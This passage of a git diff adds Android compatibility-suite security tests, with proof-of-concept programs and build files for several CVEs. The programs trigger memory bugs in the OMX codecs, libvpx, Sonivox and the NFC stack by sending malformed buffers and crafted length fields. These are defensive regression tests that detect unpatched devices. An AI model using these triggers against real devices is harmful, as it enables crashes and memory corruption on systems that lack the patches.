+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+
+void poc() {
+ int i;
+ Vector < Buffer > inputBuffers;
+ Vector < Buffer > outputBuffers;
+ status_t err = omxUtilsInit((char*) "OMX.google.h264.encoder");
+ omxExitOnError(err);
+ atexit(exit_handler);
+
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+
+ int inMemSize = def.nBufferCountActual * def.nBufferSize / 512;
+ int inBufferCnt = def.nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+
+ sp < MemoryDealer > dealerIn = new MemoryDealer(inMemSize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+
+ int outMemSize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ sp < MemoryDealer > dealerOut = new MemoryDealer(outMemSize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+ for (i = 0; i < inBufferCnt; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ sp < android::hidl::memory::V1_0::IMemory > mem = mapMemory(
+ inputBuffers[i].mHidlMemory);
+ memset((void *) mem->getPointer(), 0xCF, inBufferSize);
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory, &inBufferId[i]);
+ }
+
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+ for (i = 0; i < outBufferCnt; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory, &outBufferId[i]);
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+ for (i = 0; i < inBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+ }
+
+ for (i = 0; i < outBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+ for (i = 0; i < inBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+
+ for (i = 0; i < outBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+
+ omxUtilsFreeNode();
+ return;
+}
+#endif
+
+int main() {
+
+//This PoC is only for 32-bit builds.
+#if _32_BIT
+ time_t currentTime = start_timer();
+ while(timer_active(currentTime)) {
+ poc();
+ }
+#endif
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp
new file mode 100644
index 0000000..2139583
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.bp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-13180",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ srcs: [
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "android.hidl.allocator@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+ suffix: "32",
+ },
+ lib64: {
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
new file mode 100644
index 0000000..33ffdaf
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#define TIMESTAMP_US 0x00010001
+
+extern bool mUseTreble;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(
+ def.nBufferSize, [&success, &buffer](bool s, hidl_memory const &m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+#endif /* _32_BIT */
+
+int main() {
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+ int i;
+ Vector<Buffer> inputBuffers;
+ Vector<Buffer> outputBuffers;
+ status_t err = omxUtilsInit((char *)"OMX.google.h264.decoder");
+
+ omxExitOnError(err);
+
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+
+ int inMemorySize = def.nBufferCountActual * def.nBufferSize;
+ int inBufferCount = def.nBufferCountActual;
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemorySize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCount];
+
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+
+ int outMemorySize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemorySize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+ for (i = 0; i < inBufferCount; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ }
+
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+ for (i = 0; i < outBufferCnt; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+ OMX_U32 flags = OMX_BUFFERFLAG_ENDOFFRAME;
+ int64_t timeUs = TIMESTAMP_US;
+ omxUtilsEmptyBuffer(inBufferId[0], OMXBuffer::sPreset, flags, timeUs, -1);
+ omxUtilsFillBuffer(outBufferId[0], OMXBuffer::sPreset, -1);
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+ for (i = 0; i < inBufferCount; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
+ }
+
+ for (i = 0; i < outBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
+ }
+
+ omxUtilsFreeNode();
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13194/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13194/Android.bp
new file mode 100644
index 0000000..9b478eb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13194/Android.bp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+ name: "CVE-2017-13194",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ shared_libs: [
+ "liblog",
+ ],
+ include_dirs: [
+ "external/libvpx/libvpx",
+ "external/libvpx/libvpx/vpx_ports",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13194/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13194/poc.cpp
new file mode 100644
index 0000000..f11cac9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13194/poc.cpp
@@ -0,0 +1,127 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include "../includes/memutils.h"
+#include "vpx/vp8cx.h"
+#include "vpx/vpx_codec.h"
+#include "vpx/vpx_encoder.h"
+
+#define ENCODE_WIDTH 11
+#define ENCODE_HEIGHT 10000
+#define LIBNAME "/system/apex/com.android.media.swcodec/lib64/libvpx.so"
+#define LIBNAME_APEX "/apex/com.android.media.swcodec/lib64/libvpx.so"
+
+char enable_selective_overload = ENABLE_NONE;
+
+int main() {
+ enable_selective_overload = ENABLE_ALL;
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+ vpx_codec_err_t codec_return = VPX_CODEC_OK;
+ vpx_codec_enc_cfg_t mCodecConfiguration;
+ vpx_image_t raw_frame;
+ uint32_t framerate = (30 << 16);
+ vpx_codec_iface_t *(*func_ptr1)() =
+ (vpx_codec_iface_t * (*)()) dlsym(libHandle, "vpx_codec_vp8_cx");
+ if (!func_ptr1) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ vpx_codec_iface_t *mCodecInterface = (*func_ptr1)();
+ if (!mCodecInterface) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ vpx_codec_err_t (*func_ptr2)(vpx_codec_iface_t *, vpx_codec_enc_cfg_t *, unsigned int) =
+ (vpx_codec_err_t(*)(vpx_codec_iface_t *, vpx_codec_enc_cfg_t *, unsigned int))dlsym(
+ libHandle, "vpx_codec_enc_config_default");
+ if (!func_ptr2) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ codec_return = (*func_ptr2)(mCodecInterface, &mCodecConfiguration, 0);
+ mCodecConfiguration.g_w = ENCODE_WIDTH;
+ mCodecConfiguration.g_h = ENCODE_HEIGHT;
+ vpx_codec_ctx_t mCodecContext;
+ vpx_codec_err_t (*func_ptr3)(vpx_codec_ctx_t *, vpx_codec_iface_t *, vpx_codec_enc_cfg_t *,
+ vpx_codec_flags_t, int) =
+ (vpx_codec_err_t(*)(vpx_codec_ctx_t *, vpx_codec_iface_t *, vpx_codec_enc_cfg_t *,
+ vpx_codec_flags_t, int))dlsym(libHandle, "vpx_codec_enc_init_ver");
+ if (!func_ptr3) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ codec_return = (*func_ptr3)(&mCodecContext, mCodecInterface, &mCodecConfiguration, 0,
+ VPX_ENCODER_ABI_VERSION);
+
+ if (codec_return != VPX_CODEC_OK) {
+ return EXIT_FAILURE;
+ }
+ unsigned char *source = (unsigned char *)memalign(16, (ENCODE_WIDTH * ENCODE_HEIGHT * 3 / 2));
+ if (!source) {
+ return EXIT_FAILURE;
+ }
+ memset(source, 0, (ENCODE_WIDTH * ENCODE_HEIGHT * 3 / 2));
+ vpx_image_t (*func_ptr4)(vpx_image_t *, vpx_img_fmt_t, unsigned int, unsigned int, unsigned int,
+ unsigned char *) =
+ (vpx_image(*)(vpx_image *, vpx_img_fmt, unsigned int, unsigned int, unsigned int,
+ unsigned char *))dlsym(libHandle, "vpx_img_wrap");
+ if (!func_ptr4) {
+ dlclose(libHandle);
+ free(source);
+ return EXIT_FAILURE;
+ }
+ (*func_ptr4)(&raw_frame, VPX_IMG_FMT_I420, ENCODE_WIDTH, ENCODE_HEIGHT, 1, source);
+ vpx_codec_err_t (*func_ptr5)(vpx_codec_ctx_t *, const vpx_image_t *, vpx_codec_pts_t,
+ unsigned long, vpx_enc_frame_flags_t, unsigned long) =
+ (vpx_codec_err_t(*)(vpx_codec_ctx *, const vpx_image *, long, unsigned long, long,
+ unsigned long))dlsym(libHandle, "vpx_codec_encode");
+ if (!func_ptr5) {
+ dlclose(libHandle);
+ free(source);
+ return EXIT_FAILURE;
+ }
+ codec_return =
+ (*func_ptr5)(&mCodecContext, &raw_frame, framerate,
+ (uint32_t)(((uint64_t)1000000 << 16) / framerate), 0, VPX_DL_REALTIME);
+ if (codec_return != VPX_CODEC_OK) {
+ free(source);
+ return EXIT_FAILURE;
+ }
+ vpx_codec_err_t (*func_ptr6)(vpx_codec_ctx_t *) =
+ (vpx_codec_err_t(*)(vpx_codec_ctx *))dlsym(libHandle, "vpx_codec_destroy");
+ if (!func_ptr6) {
+ dlclose(libHandle);
+ free(source);
+ return EXIT_FAILURE;
+ }
+ (*func_ptr6)(&mCodecContext);
+ enable_selective_overload = ENABLE_NONE;
+ dlclose(libHandle);
+ free(source);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.bp
new file mode 100644
index 0000000..8ba14a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-13234",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.c",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+
+ include_dirs: [
+ "external/sonivox/arm-wt-22k/host_src",
+ ],
+
+ shared_libs: [
+ "libsonivox",
+ ],
+
+ cflags: [
+ "-DCHECK_MEMORY_LEAK",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c
new file mode 100644
index 0000000..3e9c66b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13234/poc.c
@@ -0,0 +1,77 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include "../includes/memutils_track.h"
+#include "eas.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+bool is_tracking_required(size_t size) {
+ return ((size != 1024) && (size != 4096));
+}
+
+int EAS_fread(void *handle, void *buf, int offset, int size) {
+ fseek(handle, offset, SEEK_SET);
+ return fread(buf, 1, size, handle);
+}
+
+int EAS_fsize(void *handle) {
+ fseek(handle, 0, SEEK_END);
+ return ftell(handle);
+}
+
+static void PlayFile(EAS_DATA_HANDLE easData, const char* filename) {
+ EAS_HANDLE handle;
+ EAS_FILE file;
+ file.handle = (void*) fopen(filename, "rb");
+ file.readAt = EAS_fread;
+ file.size = EAS_fsize;
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ if (EAS_OpenFile(easData, &file, &handle) != EAS_SUCCESS) {
+ enable_selective_overload = ENABLE_NONE;
+ if(file.handle) {
+ fclose(file.handle);
+ }
+ return;
+ }
+ EAS_Prepare(easData, handle);
+ EAS_CloseFile(easData, handle);
+ enable_selective_overload = ENABLE_NONE;
+ if(file.handle) {
+ fclose(file.handle);
+ }
+ return;
+}
+
+int main(int argc, char **argv) {
+ EAS_DATA_HANDLE easData;
+ EAS_RESULT result;
+
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ result = EAS_Init(&easData);
+ if (result != EAS_SUCCESS) {
+ return EXIT_FAILURE;
+ }
+ PlayFile(easData, argv[1]);
+ EAS_Shutdown(easData);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
index 9da651c..0ac9783 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9537/poc.cpp
@@ -154,8 +154,7 @@
--size;
} else {
INT_PCM outputBuf[kMaxOutBufferSize];
- aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, sizeof(outputBuf),
- 0);
+ aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, kMaxOutBufferSize, 0);
if (valid >= inputSize) {
return;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9584/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9584/Android.bp
new file mode 100644
index 0000000..0813445
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9584/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2018-9584",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9584/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9584/poc.cpp
new file mode 100644
index 0000000..94aa642
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9584/poc.cpp
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+#include <nfc_int.h>
+
+#define LENGTH 16
+
+char enable_selective_overload = ENABLE_NONE;
+extern tNFC_CB nfc_cb;
+
+static void resp_cback(tNFC_RESPONSE_EVT event, tNFC_RESPONSE *p_data) {
+ (void) event;
+ (void) p_data;
+}
+
+int main() {
+ nfc_cb.p_resp_cback = resp_cback;
+
+ enable_selective_overload = ENABLE_ALL;
+ uint8_t *p_msg = (uint8_t *)malloc(LENGTH);
+ if (!p_msg) {
+ return EXIT_FAILURE;
+ }
+
+ // Set evt_data.set_config.status
+ *p_msg = 0x03;
+ // Set evt_data.set_config.num_param_id
+ *(p_msg + 1) = 255;
+ nfc_ncif_set_config_status(p_msg, LENGTH);
+
+ free(p_msg);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9585/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9585/Android.bp
new file mode 100644
index 0000000..8bbdd4f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9585/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2018-9585",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9585/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9585/poc.cpp
new file mode 100644
index 0000000..7227adf
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9585/poc.cpp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+#include <nfc_int.h>
+
+#define LENGTH 16
+
+char enable_selective_overload = ENABLE_NONE;
+extern tNFC_CB nfc_cb;
+
+static void resp_cback(tNFC_RESPONSE_EVT event, tNFC_RESPONSE* p_data) {
+ (void) event;
+ (void) p_data;
+}
+
+int main() {
+ nfc_cb.p_resp_cback = resp_cback;
+
+ enable_selective_overload = ENABLE_ALL;
+ uint8_t *p_msg = (uint8_t *)malloc(LENGTH);
+ if (!p_msg) {
+ return EXIT_FAILURE;
+ }
+ memset(p_msg, 0x01, LENGTH);
+
+ // Set evt_data.tlv_size
+ *(p_msg + 5) = 200;
+ nfc_ncif_proc_get_routing(p_msg, LENGTH);
+
+ free(p_msg);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.bp
new file mode 100644
index 0000000..34d78b0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-1988",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ "skia_deps",
+ ],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "external/skia/include/codec",
+ "external/skia/include/core",
+ "frameworks/native/libs/nativewindow/include",
+ "frameworks/native/libs/arect/include",
+ ],
+ shared_libs: [
+ "libhwui",
+ ],
+ static_libs: [
+ "libskia",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp
new file mode 100644
index 0000000..9ba3c42
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-1988/poc.cpp
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "SkAndroidCodec.h"
+#include "SkBitmap.h"
+#include "SkCanvas.h"
+#include "SkData.h"
+#include "SkSurface.h"
+
+#include "../includes/memutils.h"
+#include <fstream>
+#include <iostream>
+
+#define SAMPLE_SIZE 6
+char enable_selective_overload = ENABLE_NONE;
+
+int decode(sk_sp<SkData> bytes, uint8_t sampleSize) {
+ auto codec = SkAndroidCodec::MakeFromData(bytes);
+ if (!codec) {
+ return EXIT_FAILURE;
+ }
+
+ auto size = codec->getSampledDimensions(sampleSize);
